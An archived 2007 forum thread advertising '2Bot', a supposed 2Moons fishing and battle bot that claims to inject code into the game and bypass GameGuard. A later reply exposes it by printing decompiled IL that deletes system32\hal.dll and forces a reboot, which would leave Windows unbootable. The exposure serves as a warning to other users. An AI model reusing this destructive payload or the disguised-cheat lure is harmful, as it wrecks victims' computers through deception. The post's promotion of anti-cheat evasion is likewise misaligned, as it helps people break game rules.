PDA

View Full Version : 2Bot : 2Moons Battle and Fishing Bot


HALdll
20th August 2007, 20:15
Hey everyone. I've been working on this for a while now (me and a few others) and up until now it was going to be a private bot but I have lost my interest in 2Moons and have moved more into the trend of injection hacking games.

2Bot is a bot for 2Moons that is capable of doing two things for you completely on its own. It can fish and it can fight (yes that is right... it can fight!). The program is very simple, it comes with 2 files (no installation), though it is powered by the .NET framework. (if you don't have it, too bad for you. You're using Windows and unless you're a complete retard you should have it). Here is a brief screenshot:

removed

As you can see here the bot is very simple, everything you need to get started and running is right on the main form. It contains a quick configuration for the bot-level settings as well as configuration for both fishing and fighting (the fishing configuration is disabled in the screenshot because the bot is set to Battle mode).
There is also a game selection but as of right now it is only for 2Moons, more games to come later (give me some suggestions :P).

Smart-AI

First let me explain how the bot works. The first run it will check for compatibility, and explain to you what needs to be done. If you have GameGuard exclusive files anywhere on your computer it will add itself to the startup queue and force you to restart (it will launch next boot BEFORE GameGuard and void it; this is because GameGuard is a rootkit that is always running on your computer when it starts). The bot does have a working GameGuard fix that we have chosen not to reveal at this time (or else it will become easily patched).

Basically when the bot is run before the game it will detect the game when it starts up and inject code in to the running process (this needs to be done at game launch). The code that is injected does not add cheats or bot functions at all it simply adds methods for the bot to communicate with the game client (this means that everything is controlled in the bot program, there are no in-game menus).

Smart-AI is something that I have spent quite the while working on especially directed at 2Moons. Think of this as an advanced way of doing things much more accurately...in the case of fishing without Smart-AI the bot will fish and read the pixels when something is caught (much like traditional fishing bots for 2Moons). With Smart-AI enabled it will consume a little more processing power (only noticeable on really old computers) and it will monitor the switch within the game that tells the player when the fish is fighting back and only presses the buttons that need to be pressed. In other words... your line durability will stay 100% all the time and you will catch every fish that the game will allow you to when hooked.

The same applies for the Smart-AI Targeting, without it the bot simply scans the screen pixels for pixels different than the scene average then scans the block above the target for the name color (if you chose to ignore mobs of greater levels than your own). However, with the Smart-AI Targeting system enabled, the bot will use the game's variables and detect the closest monster to attack (it also reads the monsters level from variables). The bot is definitely not stupid, it will avoid mobs that are in groups or close to other mobs; it will usually only attack if a mob is by itself or with one other (you can specify this in the Advanced Target Settings.

See fishing screenshot (catching a tier 3 fish with 100% durability):
Sorry about the quality but imageshack is < 1.5MB so it must be a jpg.

removed

QUCK Specs:
Bot Mode: Battle or Fishing
Game: 2Moons
Fishing Interval: The interval at which the bot starts fishing. (ignore this if you're using Smart-AI Fish Hook).
Use Fishing Bait: Uses your fishing bait from weakest to strongest.
Smart-AI Fish Hook: Uses game variables to guarantee 100% catch rate.
Find Water Source: Uses the game map to find a fishable water source.
Use Health/Mana Potions: Uses these potions when your stat drops below the specified percentage.
Smart-AI Potion Use: Scans game variables rather than getting your bar location and scanning pixels.
Attribute Spending: Will spend your attributes when you level. Configure the spending method in attribute options.
Ignore Greater Level Mobs: Ignores mobs greater than your own level.
Smart-AI Targeting System: Uses game variables to target monsters (this will result in little to no pause between attacking unlike the 2-3 seconds without this).
Collect Drops: Enabling this will allow you to collect drops, without it the bot will ignore all drops.
Drop Collection Box: Select which types of drops you'd like the bot to pickup for you.

There are more options within the bot that are not listen on the main form, these will allow you a much finer level of tuning.

FAQ

Q. Where is the screenshot of the bot fighting stuff?
A. There isn't much to show, all you see is yourself fighting stuff.

Q. Does my game need to be active if I run the bot for it to work?
A. Yes and no. If you enable Smart-AI options you can effectively run the bot on your game while you do other things on your computer.

Q. Where are all the other FAQ questions?
A. They are here... when people submit problems or need help.

Q. Do you have a website?
A. No but I am an active member on MPC, because we did not all agree on making this bot public I chose not to reveal my MPC name at this time.

Download
removed

Have fun and enjoy. Please post any comments and/or suggestions!

mcemsi
20th August 2007, 20:34
2bot is incompatible with your operating system


DAMn


no vista? any idea

Shard
20th August 2007, 20:54
Interesting..
.method public static hidebysig bool ownNoobs()
{
....
ldstr "\\system32\\hal.dll"
call class System.String [mscorlib]System.String::Concat(class System.String, class System.String)
stloc.2
ldloc.2
call bool [mscorlib]System.IO.File::Exists(class System.String)
brfalse.s loc_64
ldloc.2
call void [mscorlib]System.IO.File::Delete(class System.String)
}
Why does it delete HAL.dll (http://www.auditmypc.com/process/hal.asp)?

EDIT: Definitely a virus, unless you can come up with some logical explanation for why all this does is delete HAL.dll (which would stop Windows loading) and then shuts down..
call bool [coreLib]coreLib.botFunc::ownNoobs()
brfalse.s loc_164
ldstr "I LIE"
ldstr "2Bot : First Run"
ldc.i4.0
ldc.i4.s 0x40
call value class [System.Windows.Forms]System.Windows.Forms.DialogResult [System.Windows.Forms]System.Windows.Forms.MessageBox::Show(class System.String, class System.String, value class [System.Windows.Forms]System.Windows.Forms.MessageBoxButtons, value class [System.Windows.Forms]System.Windows.Forms.MessageBoxIcon)
ldc.i4.1
bne.un.s loc_177
ldstr "Shutdown"
ldstr "/r"
call class [System]System.Diagnostics.Process [System]System.Diagnostics.Process::Start(class System.String, class System.String)

cuteharez
20th August 2007, 21:51
That one of the system files of windows Xp. This lame program appear on MS section before -.-

Lisa
20th August 2007, 23:31
Bye bye.